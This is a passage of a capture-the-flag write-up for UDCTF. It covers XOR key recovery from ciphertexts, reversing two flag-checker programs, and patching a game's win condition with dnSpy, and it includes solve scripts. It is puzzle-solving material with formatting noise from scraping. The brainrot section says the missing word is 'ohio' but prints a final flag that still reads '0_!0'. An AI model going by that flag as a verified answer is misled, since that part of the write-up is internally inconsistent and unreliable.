known_suffix = "}".encode()

# Set the first 6 bytes of the key based on "udctf{"
for i in range(len(known_prefix)):
    key[i] = flag_ct[i] ^ known_prefix[i]

# Set the last byte of the key for the ending "}"
key[len(flag_ct) - 1] = flag_ct[len(flag_ct) - 1] ^ known_suffix[0]

# For each byte position in the key length, perform frequency analysis
for position in range(key_length):
    if key[position] is None:  # Skip already known key bytes
        candidates = []

        # Collect the relevant ciphertext byte at this position across all blocks
        for ct in cts:
            ct_bytes = bytes.fromhex(ct)

            # Loop through all blocks in the ciphertext
            for i in range(position, len(ct_bytes), key_length):
                # XOR with each possible byte and check if it yields a likely plaintext byte
                for b in range(256):
                    pt_byte = ct_bytes[i] ^ b
                    if pt_byte in likely_bytes:
                        candidates.append(b)

        # Determine the most common candidate as the probable key byte for this position
        if candidates:
            key[position] = Counter(candidates).most_common(1)[0][0]

# Convert any unresolved None values to 0

def manual_key_correction(ct_bytes, key, expected_text, start_index):
    for i, char in enumerate(expected_text):
        key[start_index + i] = ct_bytes[start_index + i] ^ ord(char)
    return key

key = manual_key_correction(bytes.fromhex(cts[0]), key, "where if he be with dauntless harbinger", 0)

key = manual_key_correction(bytes.fromhex(cts[1]), key, "willingly on some conditions", 2)

key = manual_key_correction(bytes.fromhex(cts[2]), key, "me my god for thou", 15)

key = manual_key_correction(bytes.fromhex(cts[6]), key, "alas what boots it with uncessant care", 0)

key = manual_key_correction(bytes.fromhex(cts[9]), key, "tis you that say it not i you do the deeds", 0)



#key = manual_key_correction(bytes.fromhex(cts[4]), key, "wizards", 19)


key = bytearray(b if b is not None else 0 for b in key)
print("Inferred Key:", key)

# Decrypt and print each line to check results
for i, ct in enumerate(cts):
    ct_bytes = bytes.fromhex(ct)
    pt = xor(ct_bytes, key[:len(ct_bytes)])
    print(f"Plaintext {i + 1}:", pt.decode(errors='ignore'))

image

udctf{x0r_in_r0m4n_15_ten0r_0p3ra_s1nger?}

Reverse Engineering

Training Problem: Intro to Reverse

Description

Just a classic flagchecker.

(Try using dogbolt.org)

Challenge Author: ProfNinja

Solved by: winter


We started by analyzing the given binary in IDA Pro, where we noticed a validation check on user input inline to the challenge description

String in Binary: The binary contains a hardcoded string, ucaqbvl,n*d\\'R#!!l, stored in v5. Validation Logic: The program takes input and checks if each character in the input, adjusted by its index (s[i] - i), matches the corresponding character in v5.

Reversing the Check

Using the observed transformation, we wrote a Python script to generate the correct input by reversing the logic.

1
2
3
v5 = "ucaqbvl,n*d\\'R#!!l"
s = ''.join(chr(ord(v5[i]) + i) for i in range(len(v5)))
print(s)

image

udctf{r3v3ng3_101}

Cut The Flag

Description

https://spacegames3.itch.io/cut-the-flag

pwd: bluehens

Challenge Author: Inferno

Solved & Documented by: m3tadr0id


This was a very easy gamehacking challenge. So we are given a game that requires us to cut a rope holding a flag 20 times and you have to try again each time which is almost impossible .

The caveat is that the speed increases every time. Now we have two options:

  • Make the speed constant
  • Modify the count to be less than the 20 times required

We use dnspy to decompile the game given that we have the Assembly-Csharp dll. Off the bat we see the win condition. You need to cut 20 times.

We can proceed to modify this to one or even remove the condition.

image

Modified

image

image

🅱️rainrot.c - reversing

Description

I would like to apologize for the crimes that have been committed upon humanity and the mental trauma that may ensue from the creation of this code. I take full responsibility for my actions and ask only for forgiveness as you struggle in pursuit of the flag. I have provided C source code and omitted the header that serves as the gen-z Rosetta Stone. I wish you all the best in successful completion of this problem.

Challenge Author: AZR

Solved & Documented by: m3tadr0id


The challenge, Brainrot, required translating code words from the “brainrot” format and then reversing the logic to reveal part of the flag. After breaking down the logic and using translation techniques, we were left with a 4-letter word to complete the flag.

Solution

  • Code Translation: We translated the given “brainrot” words back into their intended text format.
  • Logic Reversal: We reversed the logical checks used in the challenge, piecing together the final portion of the flag.
  • Final Search: A quick Google search confirmed the 4-letter word we needed: ohio.

Translated C code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check_rule(int rule) {
    printf("Flag's a bust, rule %d ain't vibin.\n", rule);
    exit(1);
}

void main() {
    char input[100];
    printf("Enter the flag: ");
    fgets(input, 100, stdin);

int length = strlen(input);
if (length > 0 && input[length - 1] == '\n') {
    input[length - 1] = '\0';
    length -= 1;
}

if (length != 51) check_rule(0);

char prefix[6] = "     ";
strncpy(prefix, input, 5);
if (strcmp(prefix, "udctf") != 0) check_rule(1);

if (input[length - 1] != 0x7d) check_rule(2);

if ((input[5] * 4) % 102 != 'T') check_rule(3);

if ((input[35] | input[33]) != 0x69) check_rule(4);

if (input[6] ^ input[31]) check_rule(5);

if ((input[31] + input[35]) != (input[6] * 2)) check_rule(6);

if ((input[7] == input[10]) + (input[14] == input[23]) + (input[28] == input[36]) != 3) check_rule(7);

if (!((input[42] == input[28]) && (input[36] == input[23]) && (input[10] == input[42]))) check_rule(8);

if (input[10] != 0x5f) check_rule(9);

char fanum[7] = {0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b};
char simp[8] = "       ";
char vibe[8] = "       ";
char drip[9] = "        ";

strncpy(simp, input + 29, 7);
strncpy(vibe, input + 43, 7);
strncpy(drip, input + 15, 8);

for (int i = 0; i < 7; i++) {
    simp[i] = fanum[i] ^ simp[i];
}

for (int i = 0; i < 7; i++) {
    vibe[i] = fanum[i] ^ vibe[i];
}

for (int i = 0; i < 8; i++) {
    drip[i] = vibe[i % 7] ^ drip[i];
}

if (strcmp(simp, "r!zz13r") != 0) check_rule(10);
if (strcmp(vibe, "5ki8idi") != 0) check_rule(11);

char woke[9] = {0x40, 0x05, 0x5c, 0x48, 0x59, 0x0f, 0x5a, 0x5b, 0x00};
if (strcmp(drip, woke) != 0) check_rule(12);

if ((input[24] | input[19]) != '0') check_rule(13);
if ((input[24] | input[27]) != '0') check_rule(14);
if (input[26] != input[44]) check_rule(15);

char clout[7] = "      ";
strncpy(clout, input + 8, 6);
for (int i = 0; i < 6; i++) {
    clout[i] = clout[i] + 1;
}

char zest[7] = {0x62, 0x6e, 0x60, 0x75, 0x69, 0x34, 0x00};
if (strcmp(clout, zest) != 0) check_rule(16);

char snack[6] = "     ";
char L[6] = {0x05, 0x17, 0x01, 0x01, 0x1d, 0x00};
strncpy(snack, input + 37, 5);
for (int i = 0; i < 5; i++) {
    snack[i] = snack[i] ^ zest[i];
}

if (strcmp(snack, L) != 0) check_rule(17);

printf("All rules vibe! 😝👉👈 Flag is correct! ✅\n");
}

Solve Script

1
2
3
4
def check_constraints(flag):
    # Rule 0: Length must be 51
    if len(flag) != 51:
        return False, 0

Rule 1: Must start with “udctf”

1
2
if flag[:5] != "udctf":
    return False, 1

Rule 2: Must end with “}”

1
2
if flag[-1] != '}':
    return False, 2

Rule 3: (flag[5]*4)%102 == ‘T’

1
2
if (ord(flag[5]) * 4) % 102 != ord('T'):
    return False, 3
**Rule 4: (flag[35]flag[33]) == 0x69**
1
2
if (ord(flag[35]) | ord(flag[33])) != 0x69:
    return False, 4

Rule 5: flag[6] ^ flag[31] must be 0

1
2
if ord(flag[6]) ^ ord(flag[31]):
    return False, 5

Rule 6: (flag[31] + flag[35]) == (flag[6] * 2)

1
2
if (ord(flag[31]) + ord(flag[35])) != (ord(flag[6]) * 2):
    return False, 6

Rule 7: These must all be equal…

1
2
3
eq_count = (flag[7] == flag[10]) + (flag[14] == flag[23]) + (flag[28] == flag[36])
if eq_count != 3:
    return False, 7

Rule 8: Chain of equalities

1
2
if not (flag[42] == flag[28] and flag[36] == flag[23] and flag[10] == flag[42]):
    return False, 8

Rule 9: flag[10] must be ‘_‘

1
2
if flag[10] != '_':
    return False, 9

Rules 10-12: XOR operations

1
fanum = [0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b]

Check simp (Rule 10)

1
2
3
4
5
simp = list(flag[29:36])
for i in range(7):
    simp[i] = chr(ord(simp[i]) ^ fanum[i])
if ''.join(simp) != "r!zz13r":
    return False, 10

Check vibe (Rule 11)

1
2
3
4
5
vibe = list(flag[43:50])
for i in range(7):
    vibe[i] = chr(ord(vibe[i]) ^ fanum[i])
if ''.join(vibe) != "5ki8idi":
    return False, 11

Check drip (Rule 12)

1
2
3
4
5
6
7
drip = list(flag[15:23])
woke = [0x40, 0x05, 0x5c, 0x48, 0x59, 0x0f, 0x5a, 0x5b]
decrypted_drip = []
for i in range(8):
    decrypted_drip.append(ord(flag[43 + (i % 7)]) ^ fanum[i % 7] ^ ord(drip[i]))
if decrypted_drip != woke:
    return False, 12

Rules 13-14: Position 24 constraints

1
2
3
4
if (ord(flag[24]) | ord(flag[19])) != ord('0'):
    return False, 13
if (ord(flag[24]) | ord(flag[27])) != ord('0'):
    return False, 14

Rule 15: flag[26] == flag[44]

1
2
if flag[26] != flag[44]:
    return False, 15

Rule 16: clout/zest relationship

1
2
3
4
5
6
clout = list(flag[8:14])
for i in range(6):
    clout[i] = chr(ord(clout[i]) + 1)
zest = [0x62, 0x6e, 0x60, 0x75, 0x69, 0x34]
if [ord(c) for c in clout[:6]] != zest:
    return False, 16

Rule 17: snack/L relationship

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
L = [0x05, 0x17, 0x01, 0x01, 0x1d]
snack = list(flag[37:42])
for i in range(5):
    if ord(snack[i]) ^ zest[i] != L[i]:
        return False, 17

return True, -1

def test_flag(flag):
    result, rule = check_constraints(flag)
    if not result:
        print(f"Flag failed at rule {rule}")
    else:
        print("Flag passed all rules!")
    return result

Test the flag

1
2
3
4
flag = "udctf{Hi_am_th3_un5p0k3n_0_!0_5ki8idi_gyatt_r!zz13r}"
print(f"Testing flag: {flag}")
print(f"Flag length: {len(flag)}")
test_flag(flag)

Upon analyzing the flag, we noticed the 0_!0 segment, which was key to completing the flag. After decoding the logic and piecing together the partial flag, we conducted a quick Google search for common brainrot words and discovered that “ohio” is a popular choice. This helped us fill in the missing 4-letter word.0_!0 u d c t f {Hi_am _th3_un5p0k3n_0_!0 _5ki8idi_gyatt_r!zz13r}

udctf{Hi_am_th3_un5p0k3n_0_!0_5ki8idi_gyatt_r!zz13r}

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.